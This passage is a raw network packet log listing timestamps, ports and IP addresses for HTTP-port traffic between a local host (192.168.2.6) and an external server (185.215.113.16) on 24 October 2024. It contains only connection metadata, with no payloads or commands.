Oct 24, 2024 11:02:47.569785118 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569788933 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569802999 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569812059 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569823027 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569833040 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569835901 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569849014 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569856882 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569865942 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569876909 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569888115 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569890976 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569905043 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569905996 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569921017 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569925070 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569935083 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569947958 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569962025 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569964886 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569994926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570177078 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570188999 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570200920 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570213079 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570230007 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570230007 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570244074 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570246935 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570257902 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570271015 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570276022 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570285082 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570292950 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570296049 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570321083 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570321083 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570332050 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570347071 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570354939 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570368052 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570374966 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570379972 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570391893 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570403099 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570405006 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570415020 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570424080 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570430040 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570445061 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570452929 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570457935 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570476055 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570493937 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570502043 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570506096 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570519924 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570528030 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570533037 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570545912 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570545912 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570559025 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570566893 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570571899 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570594072 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570611000 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570633888 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570652962 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570667028 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570677996 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570684910 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570689917 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570700884 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570712090 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570713043 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570725918 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570729971 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570739985 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570748091 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570751905 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570766926 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570775032 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570777893 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570789099 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.570802927 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.570821047 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571131945 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571201086 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571207047 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571219921 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571232080 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571244955 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571255922 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571259022 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571268082 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571280956 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571290016 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571293116 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571305990 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571307898 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571332932 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571335077 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571348906 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571357965 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571361065 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571373940 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571384907 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571386099 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571398020 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571408987 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571414948 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571422100 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571433067 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571433067 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571445942 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571450949 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571459055 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571466923 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571470976 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571485043 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571492910 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571523905 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571645975 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571657896 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571669102 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571682930 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571686029 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571717024 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.571949959 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571963072 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571973085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571985960 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571999073 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.571999073 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572011948 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572016001 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572026014 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572035074 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572067022 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572141886 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572154999 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572165966 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572176933 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572187901 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572192907 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572200060 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572210073 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572213888 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572226048 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572227001 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572248936 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572256088 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572263002 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572277069 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572285891 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572288990 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572300911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572314024 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572315931 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572328091 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572335005 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572340965 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572351933 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572354078 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572379112 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572379112 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572392941 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572402954 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572402954 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572417021 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572428942 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572429895 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572439909 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572452068 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572455883 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572464943 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572474957 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572479010 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572498083 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572515011 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572583914 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572596073 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572608948 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572621107 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572633028 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572633982 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572645903 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572650909 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572659969 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572674036 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572679996 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572688103 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572699070 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572710991 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572717905 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572737932 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572740078 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572751999 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572763920 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572774887 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572776079 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572789907 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572799921 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572808027 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572813034 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572824001 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572824955 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572839022 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572839975 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572868109 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572875023 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572891951 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572895050 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572907925 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572918892 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572920084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572933912 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572941065 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572947025 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572959900 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572971106 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572976112 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572984934 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.572993994 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.572997093 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573010921 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573014975 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573026896 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573033094 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573039055 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573045015 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573052883 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573057890 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573074102 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573086977 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573098898 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573111057 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573122025 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573127031 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573136091 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573147058 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573158979 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573162079 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573173046 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573184967 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573199034 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573201895 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573209047 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573211908 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573225975 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573235989 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573241949 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573259115 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573261976 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573273897 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573278904 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573286057 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573307037 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573331118 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573493004 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573506117 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573519945 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573533058 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573543072 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573551893 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573554039 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573565006 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573576927 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573579073 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573590040 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573599100 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573601961 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573616982 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573620081 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573642015 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573646069 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573658943 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573668957 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573668957 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573683977 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573697090 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573708057 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573708057 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573719978 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573730946 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573734045 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573743105 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573751926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573756933 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573772907 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573776960 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573790073 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573791027 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573801994 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573812962 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573815107 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573826075 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573838949 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573847055 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573860884 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573869944 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573873043 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573878050 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573885918 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573898077 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573909998 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573920965 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573924065 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573935986 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573946953 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573951960 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573959112 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573968887 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573971033 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573983908 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.573983908 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.573996067 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.574007034 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.574008942 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.574018955 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.574028969 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.574033976 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.574040890 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.574052095 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.574052095 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.574064970 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.574071884 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.574079037 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.574086905 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.574090958 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.574104071 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.574114084 CEST	80	49854	185.215.113.16	192.168.2.6
